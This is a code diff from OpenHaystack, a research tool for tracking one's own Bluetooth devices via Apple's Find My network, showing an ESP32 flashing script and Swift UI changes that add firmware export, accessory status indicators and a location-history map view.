fi
|
|
||||||
if ! ($PYTHON -c "import venv" &> /dev/null); then
|
|
||||||
echo "Python 3 module \"venv\" was not found."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
$PYTHON -m venv "$VENV_DIR"
|
|
||||||
if [[ $? != 0 ]]; then
|
|
||||||
echo "Creating the virtual environment in $VENV_DIR failed."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
source "$VENV_DIR/bin/activate"
|
|
||||||
pip install --upgrade pip
|
|
||||||
pip install esptool
|
|
||||||
if [[ $? != 0 ]]; then
|
|
||||||
echo "Could not install Python 3 module esptool in $VENV_DIR";
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
else
|
|
||||||
source "$VENV_DIR/bin/activate"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Prepare the key
|
|
||||||
KEYFILE="$SCRIPT_DIR/tmp.key"
|
|
||||||
if [[ -f "$KEYFILE" ]]; then
|
|
||||||
echo "$KEYFILE already exists, stopping here not to override files..."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
echo "$PUBKEY" | python3 -m base64 -d - > "$KEYFILE"
|
|
||||||
if [[ $? != 0 ]]; then
|
|
||||||
echo "Could not parse the public key. Please provide valid base64 input"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Call esptool.py. Errors from here on are critical
|
|
||||||
set -e
|
|
||||||
|
|
||||||
# Clear NVM
|
|
||||||
esptool.py --after no_reset \
|
|
||||||
erase_region 0x9000 0x5000
|
|
||||||
esptool.py --before no_reset --baud $BAUDRATE \
|
|
||||||
write_flash 0x1000 "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
|
|
||||||
0x8000 "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
|
|
||||||
0xe000 "$KEYFILE" \
|
|
||||||
0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
|
|
||||||
rm "$KEYFILE"
|
|
||||||
BIN
OpenHaystack/OpenHaystack/HaystackApp/Firmwares/Microbit/firmware.bin
Normal file → Executable file
BIN
OpenHaystack/OpenHaystack/HaystackApp/Firmwares/Microbit/firmware.bin
Normal file → Executable file
Binary file not shown.
@@ -74,10 +74,8 @@ struct MicrobitController {
|
|||||||
return patchedFirmware
|
return patchedFirmware
|
||||||
}
|
}
|
||||||
|
|
||||||
static func deploy(accessory: Accessory) throws {
|
static func patchFirmware(for accessory: Accessory) throws -> Data {
|
||||||
let microbits = try MicrobitController.findMicrobits()
|
guard let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
|
||||||
guard let microBitURL = microbits.first,
|
|
||||||
let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
|
|
||||||
else {
|
else {
|
||||||
throw FirmwareFlashError.notFound
|
throw FirmwareFlashError.notFound
|
||||||
}
|
}
|
||||||
@@ -87,6 +85,18 @@ struct MicrobitController {
|
|||||||
let publicKey = try accessory.getAdvertisementKey()
|
let publicKey = try accessory.getAdvertisementKey()
|
||||||
let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey)
|
let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey)
|
||||||
|
|
||||||
|
return patchedFirmware
|
||||||
|
}
|
||||||
|
|
||||||
|
static func deploy(accessory: Accessory) throws {
|
||||||
|
let microbits = try MicrobitController.findMicrobits()
|
||||||
|
guard let microBitURL = microbits.first
|
||||||
|
else {
|
||||||
|
throw FirmwareFlashError.notFound
|
||||||
|
}
|
||||||
|
|
||||||
|
let patchedFirmware = try self.patchFirmware(for: accessory)
|
||||||
|
|
||||||
try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware)
|
try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -31,11 +31,30 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
|
|||||||
@Published var name: String
|
@Published var name: String
|
||||||
let id: Int
|
let id: Int
|
||||||
let privateKey: Data
|
let privateKey: Data
|
||||||
|
@Published var locations: [FindMyLocationReport]?
|
||||||
@Published var color: Color
|
@Published var color: Color
|
||||||
@Published var icon: String
|
@Published var icon: String
|
||||||
@Published var lastLocation: CLLocation?
|
@Published var lastLocation: CLLocation?
|
||||||
@Published var locationTimestamp: Date?
|
@Published var locationTimestamp: Date?
|
||||||
@Published var isDeployed: Bool
|
@Published var isDeployed: Bool {
|
||||||
|
didSet(wasDeployed) {
|
||||||
|
// Reset active status if deployed
|
||||||
|
if !wasDeployed && isDeployed {
|
||||||
|
self.isActive = false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
/// Whether the accessory is correctly advertising.
|
||||||
|
@Published var isActive: Bool = false
|
||||||
|
/// Whether this accessory is currently nearby.
|
||||||
|
@Published var isNearby: Bool = false {
|
||||||
|
didSet {
|
||||||
|
if isNearby {
|
||||||
|
self.isActive = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var lastAdvertisement: Date?
|
||||||
|
|
||||||
init(name: String = "New accessory", color: Color = randomColor(), iconName: String = randomIcon()) throws {
|
init(name: String = "New accessory", color: Color = randomColor(), iconName: String = randomIcon()) throws {
|
||||||
self.name = name
|
self.name = name
|
||||||
@@ -56,6 +75,7 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
|
|||||||
self.privateKey = try container.decode(Data.self, forKey: .privateKey)
|
self.privateKey = try container.decode(Data.self, forKey: .privateKey)
|
||||||
self.icon = (try? container.decode(String.self, forKey: .icon)) ?? ""
|
self.icon = (try? container.decode(String.self, forKey: .icon)) ?? ""
|
||||||
self.isDeployed = (try? container.decode(Bool.self, forKey: .isDeployed)) ?? false
|
self.isDeployed = (try? container.decode(Bool.self, forKey: .isDeployed)) ?? false
|
||||||
|
self.isActive = (try? container.decode(Bool.self, forKey: .isActive)) ?? false
|
||||||
|
|
||||||
if var colorComponents = try? container.decode([CGFloat].self, forKey: .colorComponents),
|
if var colorComponents = try? container.decode([CGFloat].self, forKey: .colorComponents),
|
||||||
let spaceName = try? container.decode(String.self, forKey: .colorSpaceName),
|
let spaceName = try? container.decode(String.self, forKey: .colorSpaceName),
|
||||||
@@ -75,6 +95,7 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
|
|||||||
try container.encode(self.privateKey, forKey: .privateKey)
|
try container.encode(self.privateKey, forKey: .privateKey)
|
||||||
try container.encode(self.icon, forKey: .icon)
|
try container.encode(self.icon, forKey: .icon)
|
||||||
try container.encode(self.isDeployed, forKey: .isDeployed)
|
try container.encode(self.isDeployed, forKey: .isDeployed)
|
||||||
|
try container.encode(self.isActive, forKey: .isActive)
|
||||||
|
|
||||||
if let colorComponents = self.color.cgColor?.components,
|
if let colorComponents = self.color.cgColor?.components,
|
||||||
let colorSpace = self.color.cgColor?.colorSpace?.name
|
let colorSpace = self.color.cgColor?.colorSpace?.name
|
||||||
@@ -154,6 +175,7 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
|
|||||||
case colorSpaceName
|
case colorSpaceName
|
||||||
case icon
|
case icon
|
||||||
case isDeployed
|
case isDeployed
|
||||||
|
case isActive
|
||||||
}
|
}
|
||||||
|
|
||||||
static func == (lhs: Accessory, rhs: Accessory) -> Bool {
|
static func == (lhs: Accessory, rhs: Accessory) -> Bool {
|
||||||
|
|||||||
@@ -35,6 +35,8 @@ struct PreviewData {
|
|||||||
accessory.lastLocation = randomLocation()
|
accessory.lastLocation = randomLocation()
|
||||||
accessory.locationTimestamp = randomTimestamp()
|
accessory.locationTimestamp = randomTimestamp()
|
||||||
accessory.isDeployed = true
|
accessory.isDeployed = true
|
||||||
|
accessory.isActive = true
|
||||||
|
accessory.isNearby = Bool.random()
|
||||||
return accessory
|
return accessory
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -60,7 +60,11 @@ struct AccessoryListEntry: View {
|
|||||||
label: { Text("Deploy") }
|
label: { Text("Deploy") }
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
Circle()
|
||||||
|
.fill(accessory.isNearby ? Color.green : accessory.isActive ? Color.orange : Color.red)
|
||||||
|
.frame(width: 8, height: 8)
|
||||||
}
|
}
|
||||||
|
.listRowBackground(Color.clear)
|
||||||
.padding(EdgeInsets(top: 5, leading: 0, bottom: 5, trailing: 0))
|
.padding(EdgeInsets(top: 5, leading: 0, bottom: 5, trailing: 0))
|
||||||
.contextMenu {
|
.contextMenu {
|
||||||
Button("Delete", action: { self.delete(accessory) })
|
Button("Delete", action: { self.delete(accessory) })
|
||||||
|
|||||||
@@ -45,7 +45,8 @@ class AccessoryAnnotationView: MKAnnotationView {
|
|||||||
func updateView() {
|
func updateView() {
|
||||||
guard let accessory = (self.annotation as? AccessoryAnnotation)?.accessory else { return }
|
guard let accessory = (self.annotation as? AccessoryAnnotation)?.accessory else { return }
|
||||||
self.pinView?.removeFromSuperview()
|
self.pinView?.removeFromSuperview()
|
||||||
self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory))
|
self.pinView = nil
|
||||||
|
self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory)) // TODO: LEAK! This view is not release properly
|
||||||
|
|
||||||
self.addSubview(pinView!)
|
self.addSubview(pinView!)
|
||||||
|
|
||||||
@@ -103,3 +104,11 @@ class AccessoryAnnotation: NSObject, MKAnnotation {
|
|||||||
self.accessory = accessory
|
self.accessory = accessory
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
class AccessoryHistoryAnnotation: NSObject, MKAnnotation {
|
||||||
|
var coordinate: CLLocationCoordinate2D
|
||||||
|
|
||||||
|
init(coordinate: CLLocationCoordinate2D) {
|
||||||
|
self.coordinate = coordinate
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -14,7 +14,10 @@ import SwiftUI
|
|||||||
struct AccessoryMapView: NSViewControllerRepresentable {
|
struct AccessoryMapView: NSViewControllerRepresentable {
|
||||||
@ObservedObject var accessoryController: AccessoryController
|
@ObservedObject var accessoryController: AccessoryController
|
||||||
@Binding var mapType: MKMapType
|
@Binding var mapType: MKMapType
|
||||||
var focusedAccessory: Accessory?
|
@Binding var focusedAccessory: Accessory?
|
||||||
|
@Binding var showHistory: Bool
|
||||||
|
@Binding var showPastHistory: TimeInterval
|
||||||
|
var delayer = UpdateDelayer()
|
||||||
|
|
||||||
func makeNSViewController(context: Context) -> MapViewController {
|
func makeNSViewController(context: Context) -> MapViewController {
|
||||||
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
|
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
|
||||||
@@ -23,8 +26,30 @@ struct AccessoryMapView: NSViewControllerRepresentable {
|
|||||||
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
|
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
|
||||||
let accessories = self.accessoryController.accessories
|
let accessories = self.accessoryController.accessories
|
||||||
|
|
||||||
nsViewController.zoom(on: focusedAccessory)
|
nsViewController.focusedAccessory = focusedAccessory
|
||||||
nsViewController.addLastLocations(from: accessories)
|
if showHistory {
|
||||||
|
delayer.delayUpdate {
|
||||||
|
nsViewController.addAllLocations(from: focusedAccessory!, past: showPastHistory)
|
||||||
|
nsViewController.zoomInOnAll()
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
nsViewController.addLastLocations(from: accessories)
|
||||||
|
nsViewController.zoomInOnSelection()
|
||||||
|
}
|
||||||
nsViewController.changeMapType(mapType)
|
nsViewController.changeMapType(mapType)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
class UpdateDelayer {
|
||||||
|
/// Some view updates need to be delayed to mitigate UI glitches.
|
||||||
|
var delayedWorkItem: DispatchWorkItem?
|
||||||
|
|
||||||
|
func delayUpdate(delay: Double = 0.3, closure: @escaping () -> Void) {
|
||||||
|
self.delayedWorkItem?.cancel()
|
||||||
|
let workItem = DispatchWorkItem {
|
||||||
|
closure()
|
||||||
|
}
|
||||||
|
DispatchQueue.main.asyncAfter(deadline: .now() + delay, execute: workItem)
|
||||||
|
self.delayedWorkItem = workItem
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//
|
//
|
||||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||||
//
|
//
|
||||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||||
@@ -8,6 +8,7 @@
|
|||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
import os
|
||||||
|
|
||||||
struct ManageAccessoriesView: View {
|
struct ManageAccessoriesView: View {
|
||||||
|
|
||||||
@@ -21,7 +22,8 @@ struct ManageAccessoriesView: View {
|
|||||||
@Binding var focusedAccessory: Accessory?
|
@Binding var focusedAccessory: Accessory?
|
||||||
@Binding var accessoryToDeploy: Accessory?
|
@Binding var accessoryToDeploy: Accessory?
|
||||||
@Binding var showESP32DeploySheet: Bool
|
@Binding var showESP32DeploySheet: Bool
|
||||||
|
@State var sheetShown: SheetType?
|
||||||
|
|
||||||
@State var showMailPopup = false
|
@State var showMailPopup = false
|
||||||
|
|
||||||
var body: some View {
|
var body: some View {
|
||||||
@@ -42,15 +44,19 @@ struct ManageAccessoriesView: View {
|
|||||||
.toolbar(content: {
|
.toolbar(content: {
|
||||||
self.toolbarView
|
self.toolbarView
|
||||||
})
|
})
|
||||||
.sheet(
|
.sheet(item: self.$sheetShown) { sheetType in
|
||||||
isPresented: self.$showESP32DeploySheet,
|
switch sheetType {
|
||||||
content: {
|
case .esp32Install:
|
||||||
ESP32InstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType)
|
ESP32InstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType)
|
||||||
})
|
case .deployFirmware:
|
||||||
|
self.selectTargetView
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Accessory List view.
|
/// Accessory List view.
|
||||||
var accessoryList: some View {
|
var accessoryList: some View {
|
||||||
|
|
||||||
List(self.accessories, id: \.self, selection: $focusedAccessory) { accessory in
|
List(self.accessories, id: \.self, selection: $focusedAccessory) { accessory in
|
||||||
AccessoryListEntry(
|
AccessoryListEntry(
|
||||||
accessory: accessory,
|
accessory: accessory,
|
||||||
@@ -69,28 +75,34 @@ struct ManageAccessoriesView: View {
|
|||||||
alertType: self.$alertType,
|
alertType: self.$alertType,
|
||||||
delete: self.delete(accessory:),
|
delete: self.delete(accessory:),
|
||||||
deployAccessoryToMicrobit: self.deploy(accessory:),
|
deployAccessoryToMicrobit: self.deploy(accessory:),
|
||||||
zoomOn: { self.focusedAccessory = $0 })
|
zoomOn: { self.focusedAccessory = $0 }
|
||||||
|
)
|
||||||
}
|
}
|
||||||
.listStyle(SidebarListStyle())
|
.listStyle(PlainListStyle())
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// All toolbar buttons shown.
|
||||||
/// All toolbar buttons shown
|
|
||||||
var toolbarView: some View {
|
var toolbarView: some View {
|
||||||
Group {
|
Group {
|
||||||
Spacer()
|
Spacer()
|
||||||
|
|
||||||
Button(action: self.importAccessories, label: {
|
Button(
|
||||||
Label("Import accessories", systemImage: "square.and.arrow.down")
|
action: self.importAccessories,
|
||||||
})
|
label: {
|
||||||
|
Label("Import accessories", systemImage: "square.and.arrow.down")
|
||||||
|
}
|
||||||
|
)
|
||||||
.help("Import accessories from a file")
|
.help("Import accessories from a file")
|
||||||
|
|
||||||
Button(action: self.exportAccessories, label: {
|
Button(
|
||||||
Label("Export accessories", systemImage: "square.and.arrow.up")
|
action: self.exportAccessories,
|
||||||
})
|
label: {
|
||||||
|
Label("Export accessories", systemImage: "square.and.arrow.up")
|
||||||
|
}
|
||||||
|
)
|
||||||
.help("Export all accessories to a file")
|
.help("Export all accessories to a file")
|
||||||
|
|
||||||
Button(action: self.addAccessory) {
|
Button(action: self.addAccessory) {
|
||||||
Label("Add accessory", systemImage: "plus")
|
Label("Add accessory", systemImage: "plus")
|
||||||
}
|
}
|
||||||
@@ -98,6 +110,57 @@ struct ManageAccessoriesView: View {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var selectTargetView: some View {
|
||||||
|
VStack {
|
||||||
|
Text("Select target")
|
||||||
|
.font(.title)
|
||||||
|
Text("Please select to which device you want to deply")
|
||||||
|
.padding(.bottom, 4)
|
||||||
|
|
||||||
|
VStack {
|
||||||
|
Button(
|
||||||
|
"Micro:bit",
|
||||||
|
action: {
|
||||||
|
self.sheetShown = nil
|
||||||
|
if let accessory = self.accessoryToDeploy {
|
||||||
|
self.deployAccessoryToMicrobit(accessory: accessory)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
.buttonStyle(LargeButtonStyle())
|
||||||
|
|
||||||
|
Button(
|
||||||
|
"Export Microbit firmware",
|
||||||
|
action: {
|
||||||
|
self.sheetShown = nil
|
||||||
|
if let accessory = self.accessoryToDeploy {
|
||||||
|
self.exportMicrobitFirmware(for: accessory)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
.buttonStyle(LargeButtonStyle())
|
||||||
|
|
||||||
|
Button(
|
||||||
|
"ESP32",
|
||||||
|
action: {
|
||||||
|
self.sheetShown = .esp32Install
|
||||||
|
}
|
||||||
|
)
|
||||||
|
.buttonStyle(LargeButtonStyle())
|
||||||
|
|
||||||
|
Button(
|
||||||
|
"Cancel",
|
||||||
|
action: {
|
||||||
|
self.sheetShown = nil
|
||||||
|
}
|
||||||
|
)
|
||||||
|
.buttonStyle(LargeButtonStyle(destructive: true))
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
.padding()
|
||||||
|
}
|
||||||
|
|
||||||
/// Delete an accessory from the list of accessories.
|
/// Delete an accessory from the list of accessories.
|
||||||
func delete(accessory: Accessory) {
|
func delete(accessory: Accessory) {
|
||||||
do {
|
do {
|
||||||
@@ -109,7 +172,7 @@ struct ManageAccessoriesView: View {
|
|||||||
|
|
||||||
func deploy(accessory: Accessory) {
|
func deploy(accessory: Accessory) {
|
||||||
self.accessoryToDeploy = accessory
|
self.accessoryToDeploy = accessory
|
||||||
self.alertType = .selectDepoyTarget
|
self.sheetShown = .deployFirmware
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Add an accessory with the provided details.
|
/// Add an accessory with the provided details.
|
||||||
@@ -120,29 +183,82 @@ struct ManageAccessoriesView: View {
|
|||||||
self.alertType = .keyError
|
self.alertType = .keyError
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func exportAccessories() {
|
func exportAccessories() {
|
||||||
do {
|
do {
|
||||||
_ = try self.accessoryController.export(accessories: self.accessories)
|
_ = try self.accessoryController.export(accessories: self.accessories)
|
||||||
}catch {
|
} catch {
|
||||||
self.alertType = .exportFailed
|
self.alertType = .exportFailed
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func importAccessories() {
|
func importAccessories() {
|
||||||
do {
|
do {
|
||||||
try self.accessoryController.importAccessories()
|
try self.accessoryController.importAccessories()
|
||||||
}catch {
|
} catch {
|
||||||
if let importError = error as? AccessoryController.ImportError,
|
if let importError = error as? AccessoryController.ImportError,
|
||||||
importError == .cancelled {
|
importError == .cancelled
|
||||||
|
{
|
||||||
//User cancelled the import. No error
|
//User cancelled the import. No error
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
self.alertType = .importFailed
|
self.alertType = .importFailed
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Deploy the public key of the accessory to a BBC microbit.
|
||||||
|
func deployAccessoryToMicrobit(accessory: Accessory) {
|
||||||
|
do {
|
||||||
|
try MicrobitController.deploy(accessory: accessory)
|
||||||
|
} catch {
|
||||||
|
os_log("Error occurred %@", String(describing: error))
|
||||||
|
self.alertType = .deployFailed
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
self.alertType = .deployedSuccessfully
|
||||||
|
accessory.isDeployed = true
|
||||||
|
self.accessoryToDeploy = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func exportMicrobitFirmware(for accessory: Accessory) {
|
||||||
|
do {
|
||||||
|
let firmware = try MicrobitController.patchFirmware(for: accessory)
|
||||||
|
|
||||||
|
let savePanel = NSSavePanel()
|
||||||
|
savePanel.allowedFileTypes = ["bin"]
|
||||||
|
savePanel.canCreateDirectories = true
|
||||||
|
savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
|
||||||
|
savePanel.message = "Export the micro:bit firmware"
|
||||||
|
savePanel.nameFieldLabel = "Firmware name"
|
||||||
|
savePanel.nameFieldStringValue = "openhaystack_firmware.bin"
|
||||||
|
savePanel.prompt = "Export"
|
||||||
|
savePanel.title = "Export firmware"
|
||||||
|
|
||||||
|
let result = savePanel.runModal()
|
||||||
|
|
||||||
|
if result == .OK,
|
||||||
|
let url = savePanel.url
|
||||||
|
{
|
||||||
|
// Store the accessory file
|
||||||
|
try firmware.write(to: url)
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch {
|
||||||
|
os_log("Error occurred %@", String(describing: error))
|
||||||
|
self.alertType = .exportFailed
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
enum SheetType: Int, Identifiable {
|
||||||
|
var id: Int {
|
||||||
|
return self.rawValue
|
||||||
|
}
|
||||||
|
case esp32Install
|
||||||
|
case deployFirmware
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
struct ManageAccessoriesView_Previews: PreviewProvider {
|
struct ManageAccessoriesView_Previews: PreviewProvider {
|
||||||
@@ -157,3 +273,11 @@ struct ManageAccessoriesView_Previews: PreviewProvider {
|
|||||||
ManageAccessoriesView(alertType: self.$alertType, focusedAccessory: self.$focussed, accessoryToDeploy: self.$deploy, showESP32DeploySheet: self.$showESPSheet)
|
ManageAccessoriesView(alertType: self.$alertType, focusedAccessory: self.$focussed, accessoryToDeploy: self.$deploy, showESP32DeploySheet: self.$showESPSheet)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//FIXME: This is a workaround, because the List with Default style (and clear background) started to crop the rows on macOS 11.3
|
||||||
|
extension NSTableView {
|
||||||
|
open override func viewDidMoveToWindow() {
|
||||||
|
super.viewDidMoveToWindow()
|
||||||
|
self.backgroundColor = .clear
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ struct OpenHaystackMainView: View {
|
|||||||
|
|
||||||
@State var loading = false
|
@State var loading = false
|
||||||
@EnvironmentObject var accessoryController: AccessoryController
|
@EnvironmentObject var accessoryController: AccessoryController
|
||||||
|
|
||||||
var accessories: [Accessory] {
|
var accessories: [Accessory] {
|
||||||
return self.accessoryController.accessories
|
return self.accessoryController.accessories
|
||||||
}
|
}
|
||||||
@@ -28,11 +28,13 @@ struct OpenHaystackMainView: View {
|
|||||||
@State var mapType: MKMapType = .standard
|
@State var mapType: MKMapType = .standard
|
||||||
@State var isLoading = false
|
@State var isLoading = false
|
||||||
@State var focusedAccessory: Accessory?
|
@State var focusedAccessory: Accessory?
|
||||||
|
@State var historyMapView = false
|
||||||
|
@State var historySeconds: TimeInterval = TimeInterval.Units.day.rawValue
|
||||||
@State var accessoryToDeploy: Accessory?
|
@State var accessoryToDeploy: Accessory?
|
||||||
@State var showMailPlugInPopover = false
|
@State var showMailPlugInPopover = false
|
||||||
|
|
||||||
@State var mailPluginIsActive = false
|
@State var mailPluginIsActive = false
|
||||||
|
|
||||||
@State var showESP32DeploySheet = false
|
@State var showESP32DeploySheet = false
|
||||||
|
|
||||||
var body: some View {
|
var body: some View {
|
||||||
@@ -48,8 +50,11 @@ struct OpenHaystackMainView: View {
|
|||||||
.frame(minWidth: 250, idealWidth: 280, maxWidth: .infinity, minHeight: 300, idealHeight: 400, maxHeight: .infinity, alignment: .center)
|
.frame(minWidth: 250, idealWidth: 280, maxWidth: .infinity, minHeight: 300, idealHeight: 400, maxHeight: .infinity, alignment: .center)
|
||||||
|
|
||||||
ZStack {
|
ZStack {
|
||||||
AccessoryMapView(accessoryController: self.accessoryController, mapType: self.$mapType, focusedAccessory: self.focusedAccessory)
|
AccessoryMapView(
|
||||||
.overlay(self.mapOverlay)
|
accessoryController: self.accessoryController, mapType: self.$mapType, focusedAccessory: self.$focusedAccessory, showHistory: self.$historyMapView,
|
||||||
|
showPastHistory: self.$historySeconds
|
||||||
|
)
|
||||||
|
.overlay(self.mapOverlay)
|
||||||
if self.popUpAlertType != nil {
|
if self.popUpAlertType != nil {
|
||||||
VStack {
|
VStack {
|
||||||
Spacer()
|
Spacer()
|
||||||
@@ -104,39 +109,54 @@ struct OpenHaystackMainView: View {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// All toolbar items shown
|
/// All toolbar items shown.
|
||||||
var toolbarView: some View {
|
var toolbarView: some View {
|
||||||
Group {
|
Group {
|
||||||
|
if self.historyMapView {
|
||||||
|
Text("\(TimeInterval(self.historySeconds).description)")
|
||||||
|
Slider<Text, EmptyView>.withLogScale(value: $historySeconds, in: 30 * TimeInterval.Units.minute.rawValue...TimeInterval.Units.week.rawValue) {
|
||||||
|
Text("Past time to show")
|
||||||
|
}
|
||||||
|
.frame(width: 80)
|
||||||
|
}
|
||||||
|
Toggle(isOn: $historyMapView) {
|
||||||
|
Label("Show location history", systemImage: "clock")
|
||||||
|
}
|
||||||
|
.disabled(self.focusedAccessory == nil)
|
||||||
|
|
||||||
Picker("", selection: self.$mapType) {
|
Picker("", selection: self.$mapType) {
|
||||||
Text("Satellite").tag(MKMapType.hybrid)
|
Text("Satellite").tag(MKMapType.hybrid)
|
||||||
Text("Standard").tag(MKMapType.standard)
|
Text("Standard").tag(MKMapType.standard)
|
||||||
}
|
}
|
||||||
.pickerStyle(SegmentedPickerStyle())
|
.pickerStyle(SegmentedPickerStyle())
|
||||||
|
|
||||||
|
Button(
|
||||||
Button(action: {
|
action: {
|
||||||
if !self.mailPluginIsActive {
|
if !self.mailPluginIsActive {
|
||||||
self.showMailPlugInPopover.toggle()
|
self.showMailPlugInPopover.toggle()
|
||||||
}else {
|
} else {
|
||||||
self.downloadLocationReports()
|
self.downloadLocationReports()
|
||||||
|
}
|
||||||
|
|
||||||
|
},
|
||||||
|
label: {
|
||||||
|
HStack {
|
||||||
|
Circle()
|
||||||
|
.fill(self.mailPluginIsActive ? Color.green : Color.orange)
|
||||||
|
.frame(width: 8, height: 8)
|
||||||
|
Label("Reload", systemImage: "arrow.clockwise")
|
||||||
|
.disabled(!self.mailPluginIsActive)
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
)
|
||||||
},label: {
|
|
||||||
HStack {
|
|
||||||
Circle()
|
|
||||||
.fill(self.mailPluginIsActive ? Color.green : Color.orange)
|
|
||||||
.frame(width: 8, height: 8)
|
|
||||||
Label("Reload", systemImage: "arrow.clockwise")
|
|
||||||
.disabled(!self.mailPluginIsActive)
|
|
||||||
}
|
|
||||||
|
|
||||||
})
|
|
||||||
.disabled(self.accessories.isEmpty)
|
.disabled(self.accessories.isEmpty)
|
||||||
.popover(isPresented: $showMailPlugInPopover, content: {
|
.popover(
|
||||||
self.mailStatePopover
|
isPresented: $showMailPlugInPopover,
|
||||||
})
|
content: {
|
||||||
|
self.mailStatePopover
|
||||||
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -171,7 +191,10 @@ struct OpenHaystackMainView: View {
|
|||||||
case .failure(let alert):
|
case .failure(let alert):
|
||||||
if alert == .noReportsFound {
|
if alert == .noReportsFound {
|
||||||
self.popUpAlertType = .noReportsFound
|
self.popUpAlertType = .noReportsFound
|
||||||
}else {
|
} else {
|
||||||
|
if alert == .activatePlugin {
|
||||||
|
self.mailPluginIsActive = false
|
||||||
|
}
|
||||||
self.alertType = alert
|
self.alertType = alert
|
||||||
}
|
}
|
||||||
case .success(_):
|
case .success(_):
|
||||||
@@ -179,42 +202,23 @@ struct OpenHaystackMainView: View {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var mailStatePopover: some View {
|
var mailStatePopover: some View {
|
||||||
HStack {
|
VStack {
|
||||||
Image(systemName: "envelope")
|
HStack {
|
||||||
.foregroundColor(self.mailPluginIsActive ? .green : .red)
|
Image(systemName: "envelope")
|
||||||
|
.font(.title)
|
||||||
if self.mailPluginIsActive {
|
.foregroundColor(self.mailPluginIsActive ? .green : .red)
|
||||||
Text("The mail plug-in is up and running")
|
|
||||||
}else {
|
if self.mailPluginIsActive {
|
||||||
Text("Cannot connect to the mail plug-in. Open Apple Mail and make sure the plug-in is enabled")
|
Text("The mail plug-in is up and running")
|
||||||
.lineLimit(10)
|
} else {
|
||||||
.multilineTextAlignment(.leading)
|
Text("Cannot connect to the mail plug-in. Open Apple Mail and make sure the plug-in is enabled")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
.padding()
|
||||||
}
|
}
|
||||||
.frame(maxWidth: 250)
|
.frame(width: 250, height: 120)
|
||||||
.padding()
|
|
||||||
}
|
|
||||||
|
|
||||||
func deploy(accessory: Accessory) {
|
|
||||||
self.accessoryToDeploy = accessory
|
|
||||||
